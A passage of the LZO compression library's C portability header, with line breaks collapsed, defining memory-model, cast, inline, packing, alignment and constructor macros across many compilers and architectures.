"unknown LZO_ARCH_I086 memory model" #endif #if (LZO_OS_DOS16 || LZO_OS_OS216 || LZO_OS_WIN16) #define LZO_HAVE_MM_HUGE_PTR 1 #define LZO_HAVE_MM_HUGE_ARRAY 1 #if (LZO_MM_TINY) # undef LZO_HAVE_MM_HUGE_ARRAY #endif #if (LZO_CC_AZTECC || LZO_CC_PACIFICC || LZO_CC_ZORTECHC) # undef LZO_HAVE_MM_HUGE_PTR # undef LZO_HAVE_MM_HUGE_ARRAY #elif (LZO_CC_DMC || LZO_CC_SYMANTECC) # undef LZO_HAVE_MM_HUGE_ARRAY #elif (LZO_CC_MSC && defined(_QC)) # undef LZO_HAVE_MM_HUGE_ARRAY # if (_MSC_VER < 600) # undef LZO_HAVE_MM_HUGE_PTR # endif #elif (LZO_CC_TURBOC && (__TURBOC__ < 0x0295)) # undef LZO_HAVE_MM_HUGE_ARRAY #endif #if (LZO_ARCH_I086PM) && !(LZO_HAVE_MM_HUGE_PTR) # if (LZO_OS_DOS16) # error "unexpected configuration - check your compiler defines" # elif (LZO_CC_ZORTECHC) # else # error "unexpected configuration - check your compiler defines" # endif #endif #ifdef __cplusplus extern "C" { #endif #if (LZO_CC_BORLANDC && (__BORLANDC__ >= 0x0200)) extern void __near __cdecl _AHSHIFT(void); # define LZO_MM_AHSHIFT ((unsigned) _AHSHIFT) #elif (LZO_CC_DMC || LZO_CC_SYMANTECC || LZO_CC_ZORTECHC) extern void __near __cdecl _AHSHIFT(void); # define LZO_MM_AHSHIFT ((unsigned) _AHSHIFT) #elif (LZO_CC_MSC || LZO_CC_TOPSPEEDC) extern void __near __cdecl _AHSHIFT(void); # define LZO_MM_AHSHIFT ((unsigned) _AHSHIFT) #elif (LZO_CC_TURBOC && (__TURBOC__ >= 0x0295)) extern void __near __cdecl _AHSHIFT(void); # define LZO_MM_AHSHIFT ((unsigned) _AHSHIFT) #elif ((LZO_CC_AZTECC || LZO_CC_PACIFICC || LZO_CC_TURBOC) && LZO_OS_DOS16) # define LZO_MM_AHSHIFT 12 #elif (LZO_CC_WATCOMC) extern unsigned char _HShift; # define LZO_MM_AHSHIFT ((unsigned) _HShift) #else # error "FIXME - implement LZO_MM_AHSHIFT" #endif #ifdef __cplusplus } #endif #endif #elif (LZO_ARCH_C166) #if !defined(__MODEL__) # error "FIXME - LZO_ARCH_C166 __MODEL__" #elif ((__MODEL__) == 0) # define LZO_MM_SMALL 1 #elif ((__MODEL__) == 1) # define LZO_MM_SMALL 1 #elif ((__MODEL__) == 2) # define LZO_MM_LARGE 1 #elif ((__MODEL__) == 3) # define LZO_MM_TINY 1 #elif ((__MODEL__) == 4) # define LZO_MM_XTINY 1 #elif ((__MODEL__) == 5) # define LZO_MM_XSMALL 1 #else # error "FIXME - LZO_ARCH_C166 __MODEL__" #endif #elif (LZO_ARCH_MCS251) #if !defined(__MODEL__) # error "FIXME - LZO_ARCH_MCS251 __MODEL__" #elif ((__MODEL__) == 0) # define LZO_MM_SMALL 1 #elif ((__MODEL__) == 2) # define LZO_MM_LARGE 1 #elif ((__MODEL__) == 3) # define LZO_MM_TINY 1 #elif ((__MODEL__) == 4) # define LZO_MM_XTINY 1 #elif ((__MODEL__) == 5) # define LZO_MM_XSMALL 1 #else # error "FIXME - LZO_ARCH_MCS251 __MODEL__" #endif #elif (LZO_ARCH_MCS51) #if !defined(__MODEL__) # error "FIXME - LZO_ARCH_MCS51 __MODEL__" #elif ((__MODEL__) == 1) # define LZO_MM_SMALL 1 #elif ((__MODEL__) == 2) # define LZO_MM_LARGE 1 #elif ((__MODEL__) == 3) # define LZO_MM_TINY 1 #elif ((__MODEL__) == 4) # define LZO_MM_XTINY 1 #elif ((__MODEL__) == 5) # define LZO_MM_XSMALL 1 #else # error "FIXME - LZO_ARCH_MCS51 __MODEL__" #endif #elif (LZO_ARCH_CRAY_PVP) # define LZO_MM_PVP 1 #else # define LZO_MM_FLAT 1 #endif #if (LZO_MM_COMPACT) # define LZO_INFO_MM "compact" #elif (LZO_MM_FLAT) # define LZO_INFO_MM "flat" #elif (LZO_MM_HUGE) # define LZO_INFO_MM "huge" #elif (LZO_MM_LARGE) # define LZO_INFO_MM "large" #elif (LZO_MM_MEDIUM) # define LZO_INFO_MM "medium" #elif (LZO_MM_PVP) # define LZO_INFO_MM "pvp" #elif (LZO_MM_SMALL) # define LZO_INFO_MM "small" #elif (LZO_MM_TINY) # define LZO_INFO_MM "tiny" #else # error "unknown memory model" #endif #endif #if !defined(__lzo_gnuc_extension__) #if (LZO_CC_GNUC >= 0x020800ul) # define __lzo_gnuc_extension__ __extension__ #elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE) # define __lzo_gnuc_extension__ __extension__ #elif (LZO_CC_IBMC >= 600) # define __lzo_gnuc_extension__ __extension__ #else #endif #endif #if !defined(__lzo_gnuc_extension__) # define __lzo_gnuc_extension__ /*empty*/ #endif #if !defined(LZO_CFG_USE_NEW_STYLE_CASTS) && defined(__cplusplus) && 0 # if (LZO_CC_GNUC && (LZO_CC_GNUC < 0x020800ul)) # define LZO_CFG_USE_NEW_STYLE_CASTS 0 # elif (LZO_CC_INTELC && (__INTEL_COMPILER < 1200)) # define LZO_CFG_USE_NEW_STYLE_CASTS 0 # else # define LZO_CFG_USE_NEW_STYLE_CASTS 1 # endif #endif #if !defined(LZO_CFG_USE_NEW_STYLE_CASTS) # define LZO_CFG_USE_NEW_STYLE_CASTS 0 #endif #if !defined(__cplusplus) # if defined(LZO_CFG_USE_NEW_STYLE_CASTS) # undef LZO_CFG_USE_NEW_STYLE_CASTS # endif # define LZO_CFG_USE_NEW_STYLE_CASTS 0 #endif #if !defined(LZO_REINTERPRET_CAST) # if (LZO_CFG_USE_NEW_STYLE_CASTS) # define LZO_REINTERPRET_CAST(t,e) (reinterpret_cast (e)) # endif #endif #if !defined(LZO_REINTERPRET_CAST) # define LZO_REINTERPRET_CAST(t,e) ((t) (e)) #endif #if !defined(LZO_STATIC_CAST) # if (LZO_CFG_USE_NEW_STYLE_CASTS) # define LZO_STATIC_CAST(t,e) (static_cast (e)) # endif #endif #if !defined(LZO_STATIC_CAST) # define LZO_STATIC_CAST(t,e) ((t) (e)) #endif #if !defined(LZO_STATIC_CAST2) # define LZO_STATIC_CAST2(t1,t2,e) LZO_STATIC_CAST(t1, LZO_STATIC_CAST(t2, e)) #endif #if !defined(LZO_UNCONST_CAST) # if (LZO_CFG_USE_NEW_STYLE_CASTS) # define LZO_UNCONST_CAST(t,e) (const_cast (e)) # elif (LZO_HAVE_MM_HUGE_PTR) # define LZO_UNCONST_CAST(t,e) ((t) (e)) # elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE) # define LZO_UNCONST_CAST(t,e) ((t) ((void *) ((lzo_uintptr_t) ((const void *) (e))))) # endif #endif #if !defined(LZO_UNCONST_CAST) # define LZO_UNCONST_CAST(t,e) ((t) ((void *) ((const void *) (e)))) #endif #if !defined(LZO_UNCONST_VOLATILE_CAST) # if (LZO_CFG_USE_NEW_STYLE_CASTS) # define LZO_UNCONST_VOLATILE_CAST(t,e) (const_cast (e)) # elif (LZO_HAVE_MM_HUGE_PTR) # define LZO_UNCONST_VOLATILE_CAST(t,e) ((t) (e)) # elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE) # define LZO_UNCONST_VOLATILE_CAST(t,e) ((t) ((volatile void *) ((lzo_uintptr_t) ((volatile const void *) (e))))) # endif #endif #if !defined(LZO_UNCONST_VOLATILE_CAST) # define LZO_UNCONST_VOLATILE_CAST(t,e) ((t) ((volatile void *) ((volatile const void *) (e)))) #endif #if !defined(LZO_UNVOLATILE_CAST) # if (LZO_CFG_USE_NEW_STYLE_CASTS) # define LZO_UNVOLATILE_CAST(t,e) (const_cast (e)) # elif (LZO_HAVE_MM_HUGE_PTR) # define LZO_UNVOLATILE_CAST(t,e) ((t) (e)) # elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE) # define LZO_UNVOLATILE_CAST(t,e) ((t) ((void *) ((lzo_uintptr_t) ((volatile void *) (e))))) # endif #endif #if !defined(LZO_UNVOLATILE_CAST) # define LZO_UNVOLATILE_CAST(t,e) ((t) ((void *) ((volatile void *) (e)))) #endif #if !defined(LZO_UNVOLATILE_CONST_CAST) # if (LZO_CFG_USE_NEW_STYLE_CASTS) # define LZO_UNVOLATILE_CONST_CAST(t,e) (const_cast (e)) # elif (LZO_HAVE_MM_HUGE_PTR) # define LZO_UNVOLATILE_CONST_CAST(t,e) ((t) (e)) # elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE) # define LZO_UNVOLATILE_CONST_CAST(t,e) ((t) ((const void *) ((lzo_uintptr_t) ((volatile const void *) (e))))) # endif #endif #if !defined(LZO_UNVOLATILE_CONST_CAST) # define LZO_UNVOLATILE_CONST_CAST(t,e) ((t) ((const void *) ((volatile const void *) (e)))) #endif #if !defined(LZO_PCAST) # if (LZO_HAVE_MM_HUGE_PTR) # define LZO_PCAST(t,e) ((t) (e)) # endif #endif #if !defined(LZO_PCAST) # define LZO_PCAST(t,e) LZO_STATIC_CAST(t, LZO_STATIC_CAST(void *, e)) #endif #if !defined(LZO_CCAST) # if (LZO_HAVE_MM_HUGE_PTR) # define LZO_CCAST(t,e) ((t) (e)) # endif #endif #if !defined(LZO_CCAST) # define LZO_CCAST(t,e) LZO_STATIC_CAST(t, LZO_STATIC_CAST(const void *, e)) #endif #if !defined(LZO_ICONV) # define LZO_ICONV(t,e) LZO_STATIC_CAST(t, e) #endif #if !defined(LZO_ICAST) # define LZO_ICAST(t,e) LZO_STATIC_CAST(t, e) #endif #if !defined(LZO_ITRUNC) # define LZO_ITRUNC(t,e) LZO_STATIC_CAST(t, e) #endif #if !defined(__lzo_cte) # if (LZO_CC_MSC || LZO_CC_WATCOMC) # define __lzo_cte(e) ((void)0,(e)) # elif 1 # define __lzo_cte(e) ((void)0,(e)) # endif #endif #if !defined(__lzo_cte) # define __lzo_cte(e) (e) #endif #if !defined(LZO_BLOCK_BEGIN) # define LZO_BLOCK_BEGIN do { # define LZO_BLOCK_END } while __lzo_cte(0) #endif #if !defined(LZO_UNUSED) # if (LZO_CC_BORLANDC && (__BORLANDC__ >= 0x0600)) # define LZO_UNUSED(var) ((void) &var) # elif (LZO_CC_BORLANDC || LZO_CC_HIGHC || LZO_CC_NDPC || LZO_CC_PELLESC || LZO_CC_TURBOC) # define LZO_UNUSED(var) if (&var) ; else # elif (LZO_CC_CLANG && (LZO_CC_CLANG >= 0x030200ul)) # define LZO_UNUSED(var) ((void) &var) # elif (LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE) # define LZO_UNUSED(var) ((void) var) # elif (LZO_CC_MSC && (_MSC_VER < 900)) # define LZO_UNUSED(var) if (&var) ; else # elif (LZO_CC_KEILC) # define LZO_UNUSED(var) {LZO_EXTERN_C int lzo_unused__[1-2*!(sizeof(var)>0)];} # elif (LZO_CC_PACIFICC) # define LZO_UNUSED(var) ((void) sizeof(var)) # elif (LZO_CC_WATCOMC) && defined(__cplusplus) # define LZO_UNUSED(var) ((void) var) # else # define LZO_UNUSED(var) ((void) &var) # endif #endif #if !defined(LZO_UNUSED_FUNC) # if (LZO_CC_BORLANDC && (__BORLANDC__ >= 0x0600)) # define LZO_UNUSED_FUNC(func) ((void) func) # elif (LZO_CC_BORLANDC || LZO_CC_NDPC || LZO_CC_TURBOC) # define LZO_UNUSED_FUNC(func) if (func) ; else # elif (LZO_CC_CLANG || LZO_CC_LLVM) # define LZO_UNUSED_FUNC(func) ((void) &func) # elif (LZO_CC_MSC && (_MSC_VER < 900)) # define LZO_UNUSED_FUNC(func) if (func) ; else # elif (LZO_CC_MSC) # define LZO_UNUSED_FUNC(func) ((void) &func) # elif (LZO_CC_KEILC || LZO_CC_PELLESC) # define LZO_UNUSED_FUNC(func) {LZO_EXTERN_C int lzo_unused_func__[1-2*!(sizeof((int)func)>0)];} # else # define LZO_UNUSED_FUNC(func) ((void) func) # endif #endif #if !defined(LZO_UNUSED_LABEL) # if (LZO_CC_CLANG >= 0x020800ul) # define LZO_UNUSED_LABEL(l) (__lzo_gnuc_extension__ ((void) ((const void *) &&l))) # elif (LZO_CC_ARMCC || LZO_CC_CLANG || LZO_CC_INTELC || LZO_CC_WATCOMC) # define LZO_UNUSED_LABEL(l) if __lzo_cte(0) goto l # else # define LZO_UNUSED_LABEL(l) switch (0) case 1:goto l # endif #endif #if !defined(LZO_DEFINE_UNINITIALIZED_VAR) # if 0 # define LZO_DEFINE_UNINITIALIZED_VAR(type,var,init) type var # elif 0 && (LZO_CC_GNUC) # define LZO_DEFINE_UNINITIALIZED_VAR(type,var,init) type var = var # else # define LZO_DEFINE_UNINITIALIZED_VAR(type,var,init) type var = init # endif #endif #if !defined(__lzo_inline) #if (LZO_CC_TURBOC && (__TURBOC__ <= 0x0295)) #elif defined(__cplusplus) # define __lzo_inline inline #elif defined(__STDC_VERSION__) && (__STDC_VERSION__-0 >= 199901L) # define __lzo_inline inline #elif (LZO_CC_BORLANDC && (__BORLANDC__ >= 0x0550)) # define __lzo_inline __inline #elif (LZO_CC_ARMCC_GNUC || LZO_CC_CILLY || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE || LZO_CC_PGI) # define __lzo_inline __inline__ #elif (LZO_CC_DMC) # define __lzo_inline __inline #elif (LZO_CC_GHS) # define __lzo_inline __inline__ #elif (LZO_CC_IBMC >= 600) # define __lzo_inline __inline__ #elif (LZO_CC_INTELC) # define __lzo_inline __inline #elif (LZO_CC_MWERKS && (__MWERKS__ >= 0x2405)) # define __lzo_inline __inline #elif (LZO_CC_MSC && (_MSC_VER >= 900)) # define __lzo_inline __inline #elif (LZO_CC_SUNPROC >= 0x5100) # define __lzo_inline __inline__ #endif #endif #if defined(__lzo_inline) # ifndef __lzo_HAVE_inline # define __lzo_HAVE_inline 1 # endif #else # define __lzo_inline /*empty*/ #endif #if !defined(__lzo_forceinline) #if (LZO_CC_GNUC >= 0x030200ul) # define __lzo_forceinline __inline__ __attribute__((__always_inline__)) #elif (LZO_CC_IBMC >= 700) # define __lzo_forceinline __inline__ __attribute__((__always_inline__)) #elif (LZO_CC_INTELC_MSC && (__INTEL_COMPILER >= 450)) # define __lzo_forceinline __forceinline #elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 800)) # define __lzo_forceinline __inline__ __attribute__((__always_inline__)) #elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE) # define __lzo_forceinline __inline__ __attribute__((__always_inline__)) #elif (LZO_CC_MSC && (_MSC_VER >= 1200)) # define __lzo_forceinline __forceinline #elif (LZO_CC_PGI >= 0x0d0a00ul) # define __lzo_forceinline __inline__ __attribute__((__always_inline__)) #elif (LZO_CC_SUNPROC >= 0x5100) # define __lzo_forceinline __inline__ __attribute__((__always_inline__)) #endif #endif #if defined(__lzo_forceinline) # ifndef __lzo_HAVE_forceinline # define __lzo_HAVE_forceinline 1 # endif #else # define __lzo_forceinline __lzo_inline #endif #if !defined(__lzo_noinline) #if 1 && (LZO_ARCH_I386) && (LZO_CC_GNUC >= 0x040000ul) && (LZO_CC_GNUC < 0x040003ul) # define __lzo_noinline __attribute__((__noinline__,__used__)) #elif (LZO_CC_GNUC >= 0x030200ul) # define __lzo_noinline __attribute__((__noinline__)) #elif (LZO_CC_IBMC >= 700) # define __lzo_noinline __attribute__((__noinline__)) #elif (LZO_CC_INTELC_MSC && (__INTEL_COMPILER >= 600)) # define __lzo_noinline __declspec(noinline) #elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 800)) # define __lzo_noinline __attribute__((__noinline__)) #elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE) # define __lzo_noinline __attribute__((__noinline__)) #elif (LZO_CC_MSC && (_MSC_VER >= 1300)) # define __lzo_noinline __declspec(noinline) #elif (LZO_CC_MWERKS && (__MWERKS__ >= 0x3200) && (LZO_OS_WIN32 || LZO_OS_WIN64)) # if defined(__cplusplus) # else # define __lzo_noinline __declspec(noinline) # endif #elif (LZO_CC_PGI >= 0x0d0a00ul) # define __lzo_noinline __attribute__((__noinline__)) #elif (LZO_CC_SUNPROC >= 0x5100) # define __lzo_noinline __attribute__((__noinline__)) #endif #endif #if defined(__lzo_noinline) # ifndef __lzo_HAVE_noinline # define __lzo_HAVE_noinline 1 # endif #else # define __lzo_noinline /*empty*/ #endif #if (__lzo_HAVE_forceinline || __lzo_HAVE_noinline) && !(__lzo_HAVE_inline) # error "unexpected configuration - check your compiler defines" #endif #if !defined(__lzo_static_inline) #if (LZO_CC_IBMC) # define __lzo_static_inline __lzo_gnuc_extension__ static __lzo_inline #endif #endif #if !defined(__lzo_static_inline) # define __lzo_static_inline static __lzo_inline #endif #if !defined(__lzo_static_forceinline) #if (LZO_CC_IBMC) # define __lzo_static_forceinline __lzo_gnuc_extension__ static __lzo_forceinline #endif #endif #if !defined(__lzo_static_forceinline) # define __lzo_static_forceinline static __lzo_forceinline #endif #if !defined(__lzo_static_noinline) #if (LZO_CC_IBMC) # define __lzo_static_noinline __lzo_gnuc_extension__ static __lzo_noinline #endif #endif #if !defined(__lzo_static_noinline) # define __lzo_static_noinline static __lzo_noinline #endif #if !defined(__lzo_c99_extern_inline) #if defined(__GNUC_GNU_INLINE__) # define __lzo_c99_extern_inline __lzo_inline #elif defined(__GNUC_STDC_INLINE__) # define __lzo_c99_extern_inline extern __lzo_inline #elif defined(__STDC_VERSION__) && (__STDC_VERSION__-0 >= 199901L) # define __lzo_c99_extern_inline extern __lzo_inline #endif #if !defined(__lzo_c99_extern_inline) && (__lzo_HAVE_inline) # define __lzo_c99_extern_inline __lzo_inline #endif #endif #if defined(__lzo_c99_extern_inline) # ifndef __lzo_HAVE_c99_extern_inline # define __lzo_HAVE_c99_extern_inline 1 # endif #else # define __lzo_c99_extern_inline /*empty*/ #endif #if !defined(__lzo_may_alias) #if (LZO_CC_GNUC >= 0x030400ul) # define __lzo_may_alias __attribute__((__may_alias__)) #elif (LZO_CC_CLANG >= 0x020900ul) # define __lzo_may_alias __attribute__((__may_alias__)) #elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 1210)) && 0 # define __lzo_may_alias __attribute__((__may_alias__)) #elif (LZO_CC_PGI >= 0x0d0a00ul) && 0 # define __lzo_may_alias __attribute__((__may_alias__)) #endif #endif #if defined(__lzo_may_alias) # ifndef __lzo_HAVE_may_alias # define __lzo_HAVE_may_alias 1 # endif #else # define __lzo_may_alias /*empty*/ #endif #if !defined(__lzo_noreturn) #if (LZO_CC_GNUC >= 0x020700ul) # define __lzo_noreturn __attribute__((__noreturn__)) #elif (LZO_CC_IBMC >= 700) # define __lzo_noreturn __attribute__((__noreturn__)) #elif (LZO_CC_INTELC_MSC && (__INTEL_COMPILER >= 450)) # define __lzo_noreturn __declspec(noreturn) #elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 600)) # define __lzo_noreturn __attribute__((__noreturn__)) #elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE) # define __lzo_noreturn __attribute__((__noreturn__)) #elif (LZO_CC_MSC && (_MSC_VER >= 1200)) # define __lzo_noreturn __declspec(noreturn) #elif (LZO_CC_PGI >= 0x0d0a00ul) # define __lzo_noreturn __attribute__((__noreturn__)) #endif #endif #if defined(__lzo_noreturn) # ifndef __lzo_HAVE_noreturn # define __lzo_HAVE_noreturn 1 # endif #else # define __lzo_noreturn /*empty*/ #endif #if !defined(__lzo_nothrow) #if (LZO_CC_GNUC >= 0x030300ul) # define __lzo_nothrow __attribute__((__nothrow__)) #elif (LZO_CC_INTELC_MSC && (__INTEL_COMPILER >= 450)) && defined(__cplusplus) # define __lzo_nothrow __declspec(nothrow) #elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 900)) # define __lzo_nothrow __attribute__((__nothrow__)) #elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE) # define __lzo_nothrow __attribute__((__nothrow__)) #elif (LZO_CC_MSC && (_MSC_VER >= 1200)) && defined(__cplusplus) # define __lzo_nothrow __declspec(nothrow) #endif #endif #if defined(__lzo_nothrow) # ifndef __lzo_HAVE_nothrow # define __lzo_HAVE_nothrow 1 # endif #else # define __lzo_nothrow /*empty*/ #endif #if !defined(__lzo_restrict) #if (LZO_CC_GNUC >= 0x030400ul) # define __lzo_restrict __restrict__ #elif (LZO_CC_IBMC >= 800) && !defined(__cplusplus) # define __lzo_restrict __restrict__ #elif (LZO_CC_IBMC >= 1210) # define __lzo_restrict __restrict__ #elif (LZO_CC_INTELC_MSC && (__INTEL_COMPILER >= 600)) #elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 600)) # define __lzo_restrict __restrict__ #elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM) # define __lzo_restrict __restrict__ #elif (LZO_CC_MSC && (_MSC_VER >= 1400)) # define __lzo_restrict __restrict #elif (LZO_CC_PGI >= 0x0d0a00ul) # define __lzo_restrict __restrict__ #endif #endif #if defined(__lzo_restrict) # ifndef __lzo_HAVE_restrict # define __lzo_HAVE_restrict 1 # endif #else # define __lzo_restrict /*empty*/ #endif #if !defined(__lzo_alignof) #if (LZO_CC_ARMCC || LZO_CC_CILLY || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE || LZO_CC_PGI) # define __lzo_alignof(e) __alignof__(e) #elif (LZO_CC_GHS) && !defined(__cplusplus) # define __lzo_alignof(e) __alignof__(e) #elif (LZO_CC_IBMC >= 600) # define __lzo_alignof(e) (__lzo_gnuc_extension__ __alignof__(e)) #elif (LZO_CC_INTELC && (__INTEL_COMPILER >= 700)) # define __lzo_alignof(e) __alignof__(e) #elif (LZO_CC_MSC && (_MSC_VER >= 1300)) # define __lzo_alignof(e) __alignof(e) #elif (LZO_CC_SUNPROC >= 0x5100) # define __lzo_alignof(e) __alignof__(e) #endif #endif #if defined(__lzo_alignof) # ifndef __lzo_HAVE_alignof # define __lzo_HAVE_alignof 1 # endif #endif #if !defined(__lzo_struct_packed) #if (LZO_CC_CLANG && (LZO_CC_CLANG < 0x020800ul)) && defined(__cplusplus) #elif (LZO_CC_GNUC && (LZO_CC_GNUC < 0x020700ul)) #elif (LZO_CC_GNUC && (LZO_CC_GNUC < 0x020800ul)) && defined(__cplusplus) #elif (LZO_CC_PCC && (LZO_CC_PCC < 0x010100ul)) #elif (LZO_CC_SUNPROC && (LZO_CC_SUNPROC < 0x5110)) && !defined(__cplusplus) #elif (LZO_CC_GNUC >= 0x030400ul) && !(LZO_CC_PCC_GNUC) && (LZO_ARCH_AMD64 || LZO_ARCH_I386) # define __lzo_struct_packed(s) struct s { # define __lzo_struct_packed_end() } __attribute__((__gcc_struct__,__packed__)); # define __lzo_struct_packed_ma_end() } __lzo_may_alias __attribute__((__gcc_struct__,__packed__)); #elif (LZO_CC_ARMCC || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_INTELC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE || (LZO_CC_PGI >= 0x0d0a00ul) || (LZO_CC_SUNPROC >= 0x5100)) # define __lzo_struct_packed(s) struct s { # define __lzo_struct_packed_end() } __attribute__((__packed__)); # define __lzo_struct_packed_ma_end() } __lzo_may_alias __attribute__((__packed__)); #elif (LZO_CC_IBMC >= 700) # define __lzo_struct_packed(s) __lzo_gnuc_extension__ struct s { # define __lzo_struct_packed_end() } __attribute__((__packed__)); # define __lzo_struct_packed_ma_end() } __lzo_may_alias __attribute__((__packed__)); #elif (LZO_CC_INTELC_MSC) || (LZO_CC_MSC && (_MSC_VER >= 1300)) # define __lzo_struct_packed(s) __pragma(pack(push,1)) struct s { # define __lzo_struct_packed_end() } __pragma(pack(pop)); #elif (LZO_CC_WATCOMC && (__WATCOMC__ >= 900)) # define __lzo_struct_packed(s) _Packed struct s { # define __lzo_struct_packed_end() }; #endif #endif #if defined(__lzo_struct_packed) && !defined(__lzo_struct_packed_ma) # define __lzo_struct_packed_ma(s) __lzo_struct_packed(s) #endif #if defined(__lzo_struct_packed_end) && !defined(__lzo_struct_packed_ma_end) # define __lzo_struct_packed_ma_end() __lzo_struct_packed_end() #endif #if !defined(__lzo_byte_struct) #if defined(__lzo_struct_packed) # define __lzo_byte_struct(s,n) __lzo_struct_packed(s) unsigned char a[n]; __lzo_struct_packed_end() # define __lzo_byte_struct_ma(s,n) __lzo_struct_packed_ma(s) unsigned char a[n]; __lzo_struct_packed_ma_end() #elif (LZO_CC_CILLY || LZO_CC_CLANG || LZO_CC_PGI || (LZO_CC_SUNPROC >= 0x5100)) # define __lzo_byte_struct(s,n) struct s { unsigned char a[n]; } __attribute__((__packed__)); # define __lzo_byte_struct_ma(s,n) struct s { unsigned char a[n]; } __lzo_may_alias __attribute__((__packed__)); #endif #endif #if defined(__lzo_byte_struct) && !defined(__lzo_byte_struct_ma) # define __lzo_byte_struct_ma(s,n) __lzo_byte_struct(s,n) #endif #if !defined(__lzo_struct_align16) && (__lzo_HAVE_alignof) #if (LZO_CC_GNUC && (LZO_CC_GNUC < 0x030000ul)) #elif (LZO_CC_CLANG && (LZO_CC_CLANG < 0x020800ul)) && defined(__cplusplus) #elif (LZO_CC_CILLY || LZO_CC_PCC) #elif (LZO_CC_INTELC_MSC) || (LZO_CC_MSC && (_MSC_VER >= 1300)) # define __lzo_struct_align16(s) struct __declspec(align(16)) s { # define __lzo_struct_align16_end() }; # define __lzo_struct_align32(s) struct __declspec(align(32)) s { # define __lzo_struct_align32_end() }; # define __lzo_struct_align64(s) struct __declspec(align(64)) s { # define __lzo_struct_align64_end() }; #elif (LZO_CC_ARMCC || LZO_CC_CLANG || LZO_CC_GNUC || (LZO_CC_IBMC >= 700) || LZO_CC_INTELC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE) # define __lzo_struct_align16(s) struct s { # define __lzo_struct_align16_end() } __attribute__((__aligned__(16))); # define __lzo_struct_align32(s) struct s { # define __lzo_struct_align32_end() } __attribute__((__aligned__(32))); # define __lzo_struct_align64(s) struct s { # define __lzo_struct_align64_end() } __attribute__((__aligned__(64))); #endif #endif #if !defined(__lzo_union_um) #if (LZO_CC_CLANG && (LZO_CC_CLANG < 0x020800ul)) && defined(__cplusplus) #elif (LZO_CC_GNUC && (LZO_CC_GNUC < 0x020700ul)) #elif (LZO_CC_GNUC && (LZO_CC_GNUC < 0x020800ul)) && defined(__cplusplus) #elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER < 810)) #elif (LZO_CC_PCC && (LZO_CC_PCC < 0x010100ul)) #elif (LZO_CC_SUNPROC && (LZO_CC_SUNPROC < 0x5110)) && !defined(__cplusplus) #elif (LZO_CC_ARMCC || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_INTELC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE || (LZO_CC_PGI >= 0x0d0a00ul) || (LZO_CC_SUNPROC >= 0x5100)) # define __lzo_union_am(s) union s { # define __lzo_union_am_end() } __lzo_may_alias; # define __lzo_union_um(s) union s { # define __lzo_union_um_end() } __lzo_may_alias __attribute__((__packed__)); #elif (LZO_CC_IBMC >= 700) # define __lzo_union_am(s) __lzo_gnuc_extension__ union s { # define __lzo_union_am_end() } __lzo_may_alias; # define __lzo_union_um(s) __lzo_gnuc_extension__ union s { # define __lzo_union_um_end() } __lzo_may_alias __attribute__((__packed__)); #elif (LZO_CC_INTELC_MSC) || (LZO_CC_MSC && (_MSC_VER >= 1300)) # define __lzo_union_um(s) __pragma(pack(push,1)) union s { # define __lzo_union_um_end() } __pragma(pack(pop)); #elif (LZO_CC_WATCOMC && (__WATCOMC__ >= 900)) # define __lzo_union_um(s) _Packed union s { # define __lzo_union_um_end() }; #endif #endif #if !defined(__lzo_union_am) # define __lzo_union_am(s) union s { # define __lzo_union_am_end() }; #endif #if !defined(__lzo_constructor) #if (LZO_CC_GNUC >= 0x030400ul) # define __lzo_constructor __attribute__((__constructor__,__used__)) #elif (LZO_CC_GNUC >= 0x020700ul) # define __lzo_constructor __attribute__((__constructor__)) #elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 800)) # define __lzo_constructor __attribute__((__constructor__,__used__)) #elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE) # define __lzo_constructor __attribute__((__constructor__)) #endif #endif #if defined(__lzo_constructor) # ifndef __lzo_HAVE_constructor # define __lzo_HAVE_constructor 1 # endif #endif #if !defined(__lzo_destructor) #if (LZO_CC_GNUC >= 0x030400ul) # define __lzo_destructor __attribute__((__destructor__,__used__)) #elif (LZO_CC_GNUC >= 0x020700ul) # define __lzo_destructor __attribute__((__destructor__)) #elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 800)) # define __lzo_destructor __attribute__((__destructor__,__used__)) #elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE) # define __lzo_destructor __attribute__((__destructor__)) #endif #endif #if 